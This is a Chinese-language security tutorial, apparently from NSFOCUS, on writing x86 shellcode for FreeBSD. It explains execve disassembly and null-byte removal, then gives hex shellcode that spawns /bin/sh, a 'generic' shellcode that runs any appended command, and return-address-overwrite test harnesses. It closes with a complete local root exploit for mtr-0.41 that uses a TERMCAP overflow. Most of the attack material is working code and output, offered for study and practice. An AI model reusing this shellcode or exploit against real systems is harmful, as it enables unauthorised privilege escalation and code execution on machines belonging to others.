当前位置:Linux教程 - Shell - FreeBSD shellcode编写攻略

FreeBSD shellcode编写攻略



        
    作者:backend <backend@nsfocus.com>
    <http://www.nsfocus.com/>

    ---[[ 前言

      我第一次编写缓冲区溢出程序时,操作系统平台是Red Hat Linux,使用的shellcode是从互联网上“成吨”的
    Linux shellcode中随便挑选的,就是Aleph1前辈公布的“标准shellcode”。:)后来便开始自己写shellcode,
    但主要都是for Linux的。最近在研究FreeBSD系统下的缓冲区溢出时,发现那些攻击程序所提供的shellcode似乎
    与Linux下的有所不同。(具体哪里不同,下面会讲到的。)好奇之余,便萌发了独立编写FreeBSD系统下shellcode
    的念头。同时也想对标准shellcode做一些改进,算是对自己的一点点挑战吧。:)

      在编写FreeBSD shellcode的一天半里,无意中发现SCO Unix系统在汇编级的处理与FreeBSD有很多类似之处。
    耐不住手痒,花了不到两个小时把shellcode for SCO也完成了。:)由于编写过程大同小异,关于如何在SCO Unix
    下编写shellcode,我便不再另外写文章了。(我很会偷懒?也许吧。;))另外,文中还介绍到了一些技巧,希望
    能对大家学习计算机安全技术有所裨益。

    我想以后我大概是不会再写诸如”如何编写xxx系统下的shellcode“之类的文章了。;)因为只要明白了整个
    编写过程的原理和步骤,已经没什么很新鲜的了。


    ---[[ 准备工作

      1、FreeBSD操作系统知识

      2、熟悉C编程语言、汇编语言、gdb调试器(这个是hacker的最低标准!)

      3、有Linux等系统平台下shellcode的经验

      4、较强的分析能力和想像力

      5、牛奶、面包、饼干和音乐(呵呵,这是我的“工作套餐”。;))

      (注:我的工作环境--

         FreeBSD 4.0 (recompiled kernel)
         gcc version 2.95.2 19991024 (release)
         GNU gdb 4.18


    ---[[ 开始


      首先,当然是了解并掌握FreeBSD是如何运行shell程序(如/bin/sh)的。

    和编写Linux系统下的shellcode一样,创建以下程序:

    /* execve.c */
    #include
    int main()
    {
    char *name[2];

    name[0]=\"/bin/sh\";
    name[1]=NULL;
    execve(name[0],name,NULL);
    return 0;
    }

    编译,试运行:

    bash-2.03$ gcc -ggdb -static -o execv execve.c
    bash-2.03$ ./execv
    $ exit
    bash-2.03$

    现在用gdb调试器跟踪程序的执行代码:

    bash-2.03$ gdb execv
    GNU gdb 4.18
    Copyright 1998 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type \"show copying\" to see the conditions.
    There is absolutely no warranty for GDB. Type \"show warranty\" for details.
    This GDB was configured as \"i386-unknown-freebsd\"...
    (gdb) disass main
    Dump of assembler code for function main:
    0x8048160
    : pushl %ebp
    0x8048161 : movl %esp,%ebp
    0x8048163 : subl $0x18,%esp
    // 以上是函数调用时的堆栈操作

    0x8048166 : movl $0x8048361,0xfffffff8(%ebp)
    // 保存name字符串数组的地址

    0x804816d : movl $0x0,0xfffffffc(%ebp)
    // 保存NULL空字符串

    0x8048174 : addl $0xfffffffc,%esp

    0x8048177 : pushl $0x0
    // 将0x0压栈

    0x8048179 : leal 0xfffffff8(%ebp),%eax
    0x804817c : pushl %eax
    // 将name字符串数组地址的地址压栈

    0x804817d : movl 0xfffffff8(%ebp),%eax
    0x8048180 : pushl %eax
    // 将name[0]字符串地址压栈

    0x8048181 : call 0x80481f8
    // 调用execve函数

    0x8048186 : addl $0x10,%esp
    0x8048189 : xorl %eax,%eax
    0x804818b : jmp 0x8048190
    0x804818d : leal 0x0(%esi),%esi
    0x8048190 : leave
    0x8048191 : ret
    End of assembler dump.
    (gdb) disass execve
    Dump of assembler code for function execve:
    0x80481f8 : leal 0x3b,%eax
    // 系统中断调用子功能号0x3b(execve)

    0x80481fe : int $0x80
    // FreeBSD系统中断调用

    0x8048200 : jb 0x80481f0
    0x8048202 : ret
    0x8048203 : nop
    End of assembler dump.
    (gdb)

      如果你有Linux系统下shellcode的编写经验,看这段汇编代码就不会觉得有什么困难,
    所以不再对每条汇编指令进行说明。;) (又偷懒了,xixi)

    将以上汇编指令最主要的部份用简单的描述性汇编语言表示就是:

    main:
    push 0x0
    push address_of_address_of_/bin/sh
    push address_of_/bin/sh
    call execve

    execve:
    leal 0x3b, %eax
    int $0x80

    似乎和Linux差不多?当然,一些调整还是必不可少的:

    (1)将\"/bin/sh\"字符串放到内存中;

    (2)获取\"/bin/sh\"在内存中的绝对地址;

    (3)去掉汇编语言中的\"0x00\"字符。

    还是和Linux下的编写过程一样,经以上调整后得到的汇编代码,并将其嵌入C语言程序中:

    bash-2.03$ cat execasm.c
    int main()
    {
    __asm__
    (\"
    jmp callback
    encode:
    popl %esi
    movl %esi,0x08(%esi)
    xorl %eax,%eax
    movb %al,0x07(%esi)
    movl %eax,0x0c(%esi)
    pushl %eax
    leal 0x08(%esi),%edx
    pushl %edx
    pushl %esi
    pushl %esi // <--为什么???(1)
    movb 0x3b,%al
    int $0x80
    callback:
    call encode
    .string \\\"/bin/sh\\\"
    \");
    }

    bash-2.03$ gcc -o execasm execasm.c
    bash-2.03$

    在继续下一步前,请大家回答两个问题:

    (1)在汇编代码段中为什么会有两个\"pushl %esi\"(绝对不是笔误)?

    (2)这个程序能否成功运行?(提示:逻辑和语法都没有任何错误,编译也顺利通过了。)

    对于第一个问题,只要对汇编语言和函数调用有一定了解,同时再加上一点点的细心,就会知道答案了。
    正常情况下,当执行call进行函数调用时,系统会自动将返回地址压入堆栈中。由于在我们的程序中并未执
    行call指令(当然加上也可以),所以必须再向堆栈中压入4个字节的数据,这样才能使堆栈指针位置正确。;)
    至于压入什么数据,其实对我们来说没有太大意义,因为这个调用不会再返回了。;)

    对于第二个问题,先让我们来试一下,看能否运行成功:

    bash-2.03$ ./execasm
    Bus error (core dumped)
    bash-2.03$

    为什么呢?如果使用gdb调试器调试因core dump而产生的execasm.core文件,就会发现错误出现在指
    令\"movl %esi,0x08(%esi)\"处。原来esi寄存器指向的地址在代码段,而代码段的内容是不允许这样修
    改的!既然如此,我们把这段代码换个位置,如何?:)

    先要得到这段代码的机器码,方法可以用gdb或objdump,略加调整(这个交给你们自己了;)),
    最终得到第一个shellcode的字符串为:

    \"\\xeb\\x17\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\"
    \"\\x50\\x8d\\x56\\x08\\x52\\x56\\x56\\xb0\\x3b\\xcd\\x80\\xe8\\xe4\\xff\"
    \"\\xff\\xff/bin/sh\"

    下面来验证一下这段shellcode。编写以下程序:

    bash-2.03$ cat shellcode1.c
    char shellcode[]=
    \"\\xeb\\x17\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\"
    \"\\x50\\x8d\\x56\\x08\\x52\\x56\\x56\\xb0\\x3b\\xcd\\x80\\xe8\\xe4\\xff\"
    \"\\xff\\xff/bin/sh\";

    int main()
    {
    int *ret;

    printf(\"Shellcode length: %i\\n\", strlen(shellcode));
    ret=(int *)&ret+2;
    (* ret)=(int)shellcode;
    }

    bash-2.03$

    编译,运行:

    bash-2.03$ gcc -o shell1 shellcode1.c
    bash-2.03$ ./shell1
    Shellcode length: 37
    $

    Bingo!搞定!:)是不是很简单?本来就很简单。

    在进入下一项内容前,给大家出几道练习题。(如果真的想掌握这项技术的话,请完成它们。)

    (1)将execasm.c中汇编程序段的机器码找出来,并做调整(因为其中仍含有\0x00\字符)。

    (2)对这段shellcode进行优化,看能不能使其更短?(如果可以的话,请贴到绿色兵团网站之“Unix系统安全”论坛。)

    (3)FreeBSD的系统调用方式有两种,试着找出另一种方法。编写出相应的shellcode,并和本文的shellcode作比较。

    (4)参考绿盟网络安全技术月刊第四期《高级缓冲溢出的使用》一文,将其中的shellcode技巧移植到FreeBSD平台下。
    (请抄送一份给我。:))


    ---[[ 进阶

      有shellcode编写基础和经验的人,应该觉得上面这段内容是属于“绝对的入门级”。如果仅仅写出这种东西,
    看来我以后也不要再研究计算机网络安全技术了!现在让我们来探讨一下如何加强shellcode的功能。

    (注:本节内容虽然以FreeBSD为研究平台,但同样适合其它系统平台。)

      本来计划在这节讲一下如何将《高级缓冲溢出的使用》中的shellcode移植到FreeBSD平台下,但考虑到技术原
    理和资料都大同小异,难度不大。恐有灌水之嫌,最后决定把这个作为练习题了。;)
      
      在标准的shellcode中,我们执行的命令是\"/bin/sh\",也就是希望得到一个shell环境。在某些情况下,如无
    法得到shell环境(无法将输入/输出重定向,缺少环境变量等),或仅需要执行一两个命令(添加用户或后门等),
    这个标准shellcode就无法满足我们的要求了。

      也许有人会说,那可以直接修改shellcode嘛。直接修改确实是一个解决方法,但每次修改都要修改和调试其
    中的偏移量,比较麻烦,为什么不能让我们的shellcode自己完成这项任务呢?这样的话,我们就相当于拥有一个
    “通用的”shellcode了!;)

      基本的技术原理是将需要运行的命令附加到shellcode后,由shellcode自已将这个命令传递给系统运行。
    (听起来好象也不太难。;))从C语言编程的角度来思考,就是利用execve()函数调用。

      首先,我们应该知道系统调用函数execve()的语法格式为:

    int execve(const char *path, char *const argv[], char *const envp[])

    即:

    execve(address_of_the_command,array_of_parameters,array_of_environment_variables)

      当执行这个函数时,对参数进行的堆栈和调用操作为:

    push array_of_environment_variables

    push array_of_parameters

    push address_of_the_command

    call execve

    这个堆栈操作比上一节复杂不少。那么应该传递什么参数呢?我们都知道,要向sh传递命令时可以使用\"-c\"参数。这们
    要利用的就是这一点。即构造下面这条命令:

      /bin/sh -c \"command\"
    +--+--+ ++ +--+--+
    | | |
    + + +
    argv[0] argv[1] argv[2]

    此时,字符串数组为:

    argv[0] --> \"/bin/sh\"字符串的地址
    argv[1] --> \"-c\"字符串的地址
    argv[2] --> \"command\"字符串的地址
    0 --> NULL字符串地址

    每个地址占用4字节,一共占用16个字节。对应的堆栈和调用操作为:

    push 0x0
    push address_of_argv[]
    push address_of_argv[0](\"/bin/sh\")
    call execve

    现在的编程思路已经非常清晰了。按照上一节的调试步骤,我们很快就能够得到以下“通用”shellcode:

    \"\\xeb\\x36\" // jmp (a)
    // : (b)
    \"\\x5e\" // popl %esi (c)
    \"\\x8d\\x0e\" // leal (%esi), %ecx (d)
    \"\\x31\\xd2\" // xorl %edx, %edx (e)
    \"\\x88\\x56\\x17\" // movb %dl, 0x17(%esi) (f)
    \"\\x88\\x56\\x1a\" // movb %dl, 0x1a(%esi) (g)
    \"\\x89\\x56\\x0c\" // movl %edx, 0x0c(%esi) (h)
    \"\\x89\\x56\\xf5\" // movl %edx, -0x0b(%esi) (i)
    \"\\x88\\x56\\xfa\" // movb %dl, -0x06(%esi) (j)
    \"\\x8d\\x56\\x1b\" // leal 0x1b(%esi), %edx (k)
    \"\\x89\\x56\\x08\" // movl %edx, 0x08(%esi) (l)
    \"\\x8d\\x56\\x18\" // leal 0x18(%esi), %edx (m)
    \"\\x89\\x56\\x04\" // movl %edx, 0x04(%esi) (n)
    \"\\x8d\\x5e\\x10\" // leal 0x10(%esi), %ebx (o)
    \"\\x89\\x1e\" // movl %ebx, (%esi) (p)
    \"\\x89\\xca\" // movl %ecx, %edx (q)
    \"\\x31\\xc0\" // xorl %eax, %eax (r)
    \"\\xb0\\x3b\" // movb 0x3b, %al (s)
    \"\\x52\" // pushl %edx (t)
    \"\\x51\" // pushl %ecx (u)
    \"\\x53\" // pushl %ebx (v)
    \"\\x50\" // pushl %eax (w)
    \"\\x9a\\x01\\x01\\x01\\x01\\x07\\x01\" // lcall 0x07, 0x0 (x)
    // : (y)
    \"\\xe8\\xc5\\xff\\xff\\xff\" // call (z)
    \"aaaa\" // argv[0] (address of \"/bin/sh\") (1)
    \"bbbb\" // argv[1] (address of \"-c\") (2)
    \"cccc\" // argv[2] (address of \"command\") (3)
    \"dddd\" // argv[3] (NULL) (4)
    \"/bin/sh0\" (5)
    \"-c0\" (6)
    \"\"; (7)

      在继续往下看之前,希望大家能仔细阅读以上代码段,尽量读懂它。

      下面是一些简要说明:

    (1)--(4):用于存放各字符串的地址指针。

    (5):  存放\"/bin/sh\"字符串。\0\是临时编码,将会在运行时被替换为\"0x0\"字符。

    (6):  \"-c\"参数字符串。\0\的意义同上。

    (7):  将会被用于存放\"command\"命令字符串。

    (a)(y)(z)(b)(c): 获取”数据段“起始地址。

    (d): argv[]字符串数组地址-->ecx寄存器。

    (e)--(j): 解码\"0x00\"。

    (k)(l): 获得并存放\"command\"的地址-->\"cccc\"。

    (m)(n): 获得并存放\"-c\"的地址-->\"bbbb\"。

    (o)(p): 获得并存放\"/bin/sh\"的地址-->\"aaaa\"和ebx寄存器。

    (q): 构造正确的edx寄存器内容。

    (r)(s): 构造正确的eax寄存器内容。

    (t)-(w): 系统调用参数压栈。

    (x): 远程调用lcall()。(*)

      (*)--这个过程调用是我从别人的shellcode中发现的。在SCO Unix系统中也有这个过程。它是进行系统调用的另一种方法。
    这会使shellcode稍微长了点,但似乎在跨平台移植上简单了许多。本来我计划用int 0x80系统中断来重写这段shellcode,但
    还不如让大家自己动手重写,这样会得到更多满足感的。;)

      下面测试一下这段shellcode:

    bash-2.03$ cat shellcode_fbsd.c
    char execshell[]=
    \"\\xeb\\x36\" // jmp
    // encode:
    \"\\x5e\" // popl %esi
    \"\\x8d\\x0e\" // leal (%esi), %ecx
    \"\\x31\\xd2\" // xorl %edx, %edx
    \"\\x88\\x56\\x17\" // movb %dl, 0x17(%esi)
    \"\\x88\\x56\\x1a\" // movb %dl, 0x1a(%esi)
    \"\\x89\\x56\\x0c\" // movl %edx, 0x0c(%esi)
    \"\\x89\\x56\\xf5\" // movl %edx, -0x0b(%esi)
    \"\\x88\\x56\\xfa\" // movb %dl, -0x06(%esi)
    \"\\x8d\\x56\\x1b\" // leal 0x1b(%esi), %edx
    \"\\x89\\x56\\x08\" // movl %edx, 0x08(%esi)
    \"\\x8d\\x56\\x18\" // leal 0x18(%esi), %edx
    \"\\x89\\x56\\x04\" // movl %edx, 0x04(%esi)
    \"\\x8d\\x5e\\x10\" // leal 0x10(%esi), %ebx
    \"\\x89\\x1e\" // movl %ebx, (%esi)
    \"\\x89\\xca\" // movl %ecx, %edx
    \"\\x31\\xc0\" // xorl %eax, %eax
    \"\\xb0\\x3b\" // movb 0x3b, %al
    \"\\x52\" // pushl %edx
    \"\\x51\" // pushl %ecx
    \"\\x53\" // pushl %ebx
    \"\\x50\" // pushl %eax
    \"\\x9a\\x01\\x01\\x01\\x01\\x07\\x01\" // lcall 0x07, 0x0
    // callback:
    \"\\xe8\\xc5\\xff\\xff\\xff\" // call
    \"aaaa\" // argv[0] (address of \"/bin/sh\")
    \"bbbb\" // argv[1] (address of \"-c\")
    \"cccc\" // argv[2] (address of \"command\")
    \"dddd\" // argv[3] (NULL)
    \"/bin/sh0\"
    \"-c0\"
    \"\";

    char buf[300];

    int main(int argc, char **argv)
    {
    int *ret;
    char cmd[200];
    char test[]=\"/usr/bin/id\";
    char end[]=\";\\x00\";

    printf(\"\\nShellcode length: %i\\n\",strlen(execshell));

    if(argc < 2)
    {
    memcpy(cmd,test,strlen(test));
    memcpy(buf,execshell,strlen(execshell));
    memcpy(buf+strlen(execshell),cmd,strlen(cmd));
    memcpy(buf+strlen(execshell)+strlen(cmd),end,strlen(end));
    }
    else
    {
    if(argc == 2)
    {
    strncpy(cmd,argv[1],strlen(argv[1]));
    memcpy(buf,execshell,strlen(execshell));
    memcpy(buf+strlen(execshell),cmd,strlen(argv[1]));
    memcpy(buf+strlen(execshell)+strlen(argv[1]),end,strlen(end));
    }
    else
    {
    printf(\"Usage: %s \\\"command\\\"\\n\", argv[0]);
    exit(0);
    }
    }

    printf(\"Total length: %i\\n\\n\",strlen(buf));
    ret = (int *)&ret + 2;
    (*ret) = (int)buf;
    }

    编译:

    bash-2.03$ gcc -o shellcode_fbsd shellcode_fbsd.c

    运行验证:

    bash-2.03$ ./shellcode_fbsd

    Shellcode length: 88
    Command length: 11
    Total (shellcode+cmd+end) length: 100

    uid=1001(backend) gid=1001(nsfocus) groups=1001(nsfocus), 0(wheel)
    bash-2.03$ ./shellcode_fbsd \"uname -a\"

    Shellcode length: 88
    Command length: 8
    Total (shellcode+cmd+end) length: 97

    FreeBSD freebsd.nsfocus.com 4.0-RELEASE FreeBSD 4.0-RELEASE #0: Mon Mar 20 22:50:22 GMT 2000
    root@monster.cdrom.com:/usr/src/sys/compile/GENERIC i386 bash-2.03$ ./shellcode_fbsd \"sh\"

    Shellcode length: 88
    Command length: 2
    Total (shellcode+cmd+end) length: 91

    $ whoami
    backend
    $ exit
    bash-2.03$

      OK,现在可以说基本上是大功告成了。

      我将这两段shellcode代码在FreeBSD 3.3(stable version)下对mtr-0.41进行缓冲区溢出程序攻击测试,
    都成功通过。以下是使用了更短长度shellcode的攻击程序代码:

    /* (c) 2000 babcia padlina / buffer0verfl0w security */
    /* freebsd mtr-0.41 local root exploit */

    /* Modified with shorter shellcode by backend <backend@nsfocus.com> */
    /* Note: offset=8000 on FreeBSD 3.3 (stable version) */
    /* Date: 2000/05/08 */

    #include
    #include
    #include
    #include

    #define NOP 0x90
    #define BUFSIZE 10000
    #define ADDRS 1200

    long getesp(void)
    {
    __asm__(\"movl %esp, %eax\\n\");
    }

    int main(argc, argv)
    int argc;
    char **argv;
    {
    char *execshell=
    // shellcode by backend
    \"\\x31\\xdb\\xb8\\xb7\\xaa\\xaa\\xaa\\x25\\xb7\\x55\\x55\\x55\\x53\\x53\\xcd\\x80\"
    \"\\x31\\xdb\\xb8\\x17\\xaa\\xaa\\xaa\\x25\\x17\\x55\\x55\\x55\\x53\\x53\\xcd\\x80\"
    \"\\xeb\\x1c\\x5e\\x31\\xc0\\x88\\x46\\x07\\x8d\\x1e\\x89\\x5e\\x08\"
    \"\\x89\\x46\\x0c\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\x50\\x51\\x53\\x53\"
    \"\\xb0\\x3b\\xcd\\x80\\xe8\\xdf\\xff\\xff\\xff/bin/sh\";

    /* old shellcode
    \"\\x31\\xdb\\xb8\\xb7\\xaa\\xaa\\xaa\\x25\\xb7\\x55\\x55\\x55\\x53\\x53\\xcd\\x80\"
    \"\\x31\\xdb\\xb8\\x17\\xaa\\xaa\\xaa\\x25\\x17\\x55\\x55\\x55\\x53\\x53\\xcd\\x80\"
    \"\\xeb\\x23\\x5e\\x8d\\x1e\\x89\\x5e\\x0b\\x31\\xd2\\x89\\x56\\x07\\x89\\x56\\x0f\"
    \"\\x89\\x56\\x14\\x88\\x56\\x19\\x31\\xc0\\xb0\\x3b\\x8d\\x4e\\x0b\\x89\\xca\\x52\"
    \"\\x51\\x53\\x50\\xeb\\x18\\xe8\\xd8\\xff\\xff\\xff/bin/sh\\x01\\x01\\x01\\x01\"
    \"\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03\\x9a\\x04\\x04\\x04\\x04\\x07\\x04\";
    */

    char buf[BUFSIZE+ADDRS+1], *p;
    int noplen, i, ofs;
    long ret, *ap;

    if (argc < 2) { fprintf(stderr, \"usage: %s ofs\\n\", argv[0]); exit(0); }

    ofs = atoi(argv[1]);

    noplen = BUFSIZE - strlen(execshell);
    ret = getesp() + ofs;

    memset(buf, NOP, noplen);
    buf[noplen] = \\\0\;
    strcat(buf, execshell);

    setenv(\"EGG\", buf, 1);

    p = buf;
    ap = (unsigned long *)p;

    for(i = 0; i < ADDRS / 4; i++)
    *ap++ = ret;

    p = (char *)ap;
    *p = \\\0\;

    fprintf(stderr, \"ret: 0x%x\\n\", ret);

    setenv(\"TERMCAP\", buf, 1);
    execl(\"/usr/local/sbin/mtr\", \"mtr\", 0);

    return 0;
    }

    (题外话:我还使用shellcode环境变量的方法完全重写了对mtr-0.41的缓冲区溢出攻击程序。有兴趣的朋友请自己研究。)

      要获得关于mtr-0.41程序缓冲区溢出漏洞的技术资料,可到绿色兵团网站(http://www.nsfocus.com/)
    或packetstorm网站查找。


    ---[[ 思考

      在我们以前的技术文章中提到的缓冲区溢出高级技巧(Linux系统平台),都可以很轻易地移植到FreeBSD、SCO Unix等
    基于Intel x86硬件平台的Unix操作系统中。如果真的希望能充分掌握shellcode编写技术,请自行将绿盟网络安全技术月刊
    第四期《高级缓冲溢出的使用》中所涉及到的高级shellcode移植到FreeBSD或SCO Unix平台下。

      如果非常熟悉汇编语言编程和调试工具,写出更复杂的shellcode(例如shellcode编码和解码(加密和解密),装载可
    利用的动态链接库,设置相关环境变量,等等),是一件富有挑战性的工作。再配合更复杂的缓冲区溢出技术,就能够写出非
    常精妙的攻击程序。

      在了解和掌握缓冲区溢出和shellcode编写的技术后,应该阅读和研究关于如何防止缓冲区溢出及其攻击的技术文献,然
    后再阅读和研究关于如何突破这些安全机制的文章。

      还有很多、很多、……,引用这句话吧:Open your mind。:)


    ---[[ 总结

      其实也没什么好总结的了。关于shellcode和缓冲区溢出的文章已经非常多了,只要专心学习,仔细研究,善于总结,也
    许你们会比我更有心得可写。
      现在大家应该总结出编写shellcode的基本步骤了,就是:
    编写系统调用C程序 --> 了解系统调用的汇编指令(系统处理过程) -->
    编写最简单的shellcode(调整绝对跳转地址) --> 测试 --> 第二次调整(去掉0x00字符) -->
    测试 --> 第一次改进 --> 测试 --> 第二次改进 -->
    测试 --> ……第n次改进 --> 第n次测试……(想什么时候停止,就由你自己决定吧;))
      如果大家对shellcode或缓冲区溢出程序的编写有什么心得,可以来信交流,或请copy一份给我。


    (注:原本打算附上我将以上shellcode移植到SCO Unix系统平台后的结果,但后来担心这样的话有些人可能便不去研究,而只会
    使用,成了\"Script Kidde\",最后还是决定不写入本文中。如果你在研究SCO Unix系统平台下的shellcode时有什么问题,可来
    信与我们一起交流,我会很乐意提供SCO Unix系统平台下的“标准”shellcode。)

    发布人:netbull 来自:黑白世界